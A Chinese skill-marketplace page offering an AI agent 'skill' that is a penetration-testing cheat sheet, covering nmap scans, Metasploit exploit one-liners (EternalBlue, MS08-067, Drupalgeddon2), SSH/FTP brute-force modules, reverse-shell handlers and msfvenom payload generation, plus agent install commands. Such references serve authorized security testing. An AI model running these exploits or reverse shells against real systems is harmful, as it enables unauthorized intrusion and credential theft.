返回顶部
P

Pentest Commands渗透测试命令

Essential penetration testing command reference. Quick lookup for nmap, Metasploit, hydra, john, nikto, gobuster, and other offensive security tools. Covers reconnaissance, exploitation, post-exploitation, and lateral movement.

作者: admin | 来源: ClawHub
源自
ClawHub
版本
V 1.0.1
安全检测
已通过
527
下载量
免费
免费
0
收藏
概述
安装方式
版本历史

Pentest Commands

渗透测试命令

目的

提供渗透测试工具的全面命令参考,涵盖网络扫描、漏洞利用、密码破解和Web应用测试。在安全评估期间实现快速命令查询。

输入/前置条件

  • - Kali Linux或渗透测试发行版
  • 已授权的目标IP地址
  • 用于暴力破解的字典文件
  • 目标系统的网络访问权限
  • 对工具语法的基本理解

输出/交付物

  • - 网络枚举结果
  • 已识别的漏洞
  • 漏洞利用载荷
  • 破解的凭证
  • Web漏洞发现

核心工作流

1. Nmap命令

主机发现:

bash

Ping扫描


nmap -sP 192.168.1.0/24

列出IP而不扫描

nmap -sL 192.168.1.0/24

Ping扫描(主机发现)

nmap -sn 192.168.1.0/24

端口扫描:

bash

TCP SYN扫描(隐蔽扫描)


nmap -sS 192.168.1.1

完整TCP连接扫描

nmap -sT 192.168.1.1

UDP扫描

nmap -sU 192.168.1.1

所有端口(1-65535)

nmap -p- 192.168.1.1

特定端口

nmap -p 22,80,443 192.168.1.1

服务检测:

bash

服务版本


nmap -sV 192.168.1.1

操作系统检测

nmap -O 192.168.1.1

全面扫描

nmap -A 192.168.1.1

跳过主机发现

nmap -Pn 192.168.1.1

NSE脚本:

bash

漏洞扫描


nmap --script vuln 192.168.1.1

SMB枚举

nmap --script smb-enum-shares -p 445 192.168.1.1

HTTP枚举

nmap --script http-enum -p 80 192.168.1.1

检查EternalBlue

nmap --script smb-vuln-ms17-010 192.168.1.1

检查MS08-067

nmap --script smb-vuln-ms08-067 192.168.1.1

SSH暴力破解

nmap --script ssh-brute -p 22 192.168.1.1

FTP匿名登录

nmap --script ftp-anon 192.168.1.1

DNS暴力破解

nmap --script dns-brute 192.168.1.1

HTTP方法

nmap -p80 --script http-methods 192.168.1.1

HTTP头信息

nmap -p80 --script http-headers 192.168.1.1

SQL注入检查

nmap --script http-sql-injection -p 80 192.168.1.1

高级扫描:

bash

Xmas扫描


nmap -sX 192.168.1.1

ACK扫描(防火墙检测)

nmap -sA 192.168.1.1

Window扫描

nmap -sW 192.168.1.1

路由追踪

nmap --traceroute 192.168.1.1

2. Metasploit命令

基本用法:

bash

启动Metasploit


msfconsole

搜索漏洞利用

search type:exploit name:smb

使用漏洞利用

use exploit/windows/smb/ms17010eternalblue

显示选项

show options

设置目标

set RHOST 192.168.1.1

设置载荷

set PAYLOAD windows/meterpreter/reverse_tcp

运行漏洞利用

exploit

常见漏洞利用:

bash

EternalBlue


msfconsole -x use exploit/windows/smb/ms17010eternalblue; set RHOST 192.168.1.1; exploit

MS08-067 (Conficker)

msfconsole -x use exploit/windows/smb/ms08067netapi; set RHOST 192.168.1.1; exploit

vsftpd后门

msfconsole -x use exploit/unix/ftp/vsftpd234backdoor; set RHOST 192.168.1.1; exploit

Shellshock

msfconsole -x use exploit/linux/http/apachemodcgibashenv_exec; set RHOST 192.168.1.1; exploit

Drupalgeddon2

msfconsole -x use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit

PSExec

msfconsole -x use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit

扫描器:

bash

TCP端口扫描


msfconsole -x use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run

SMB版本扫描

msfconsole -x use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run

SMB共享枚举

msfconsole -x use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run

SSH暴力破解

msfconsole -x use auxiliary/scanner/ssh/sshlogin; set RHOSTS 192.168.1.0/24; set USERFILE users.txt; set PASS_FILE passwords.txt; run

FTP暴力破解

msfconsole -x use auxiliary/scanner/ftp/ftplogin; set RHOSTS 192.168.1.0/24; set USERFILE users.txt; set PASS_FILE passwords.txt; run

RDP扫描

msfconsole -x use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run

处理器设置:

bash

反向Shell的多处理器


msfconsole -x use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit

载荷生成(msfvenom):

bash

Windows反向Shell


msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe

Linux反向Shell

msfvenom -p linux/x64/shellreversetcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

PHP反向Shell

msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php

ASP反向Shell

msfvenom -p windows/shellreversetcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp

WAR文件

msfvenom -p java/jspshellreverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war

Python载荷

msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py

3. Nikto命令

bash

基本扫描


nikto -h http://192.168.1.1

全面扫描

nikto -h http://192.168.1.1 -C all

输出到文件

nikto -h http://192.168.1.1 -output report.html

基于插件的扫描

nikto -h http://192.168.1.1 -Plugins robots nikto -h http://192.168.1.1 -Plugins shellshock nikto -h http://192.168.1.1 -Plugins heartbleed nikto -h http://192.168.1.1 -Plugins ssl

导出到Metasploit

nikto -h http://192.168.1.1 -Format msf+

特定调优

nikto -h http://192.168.1.1 -Tuning 1 # 仅有趣文件

4. SQLMap命令

bash
#

标签

skill ai

通过对话安装

该技能支持在以下平台通过对话安装:

OpenClaw WorkBuddy QClaw Kimi Claude

方式一:安装 SkillHub 和技能

帮我安装 SkillHub 和 pentest-commands-1776076201 技能

方式二:设置 SkillHub 为优先技能安装源

设置 SkillHub 为我的优先技能安装源,然后帮我安装 pentest-commands-1776076201 技能

通过命令行安装

skillhub install pentest-commands-1776076201

下载

⬇ 下载 Pentest Commands v1.0.1(免费)

文件大小: 3.67 KB | 发布时间: 2026-4-17 15:43

v1.0.1 最新 2026-4-17 15:43
Natural description rewrite

Archiver·手机版·闲社网·闲社论坛·羊毛社区· 多链控股集团有限公司 · 苏ICP备2025199260号-1

Powered by Discuz! X5.0   © 2024-2025 闲社网·线报更新论坛·羊毛分享社区·http://xianshe.com

p2p_official_large
返回顶部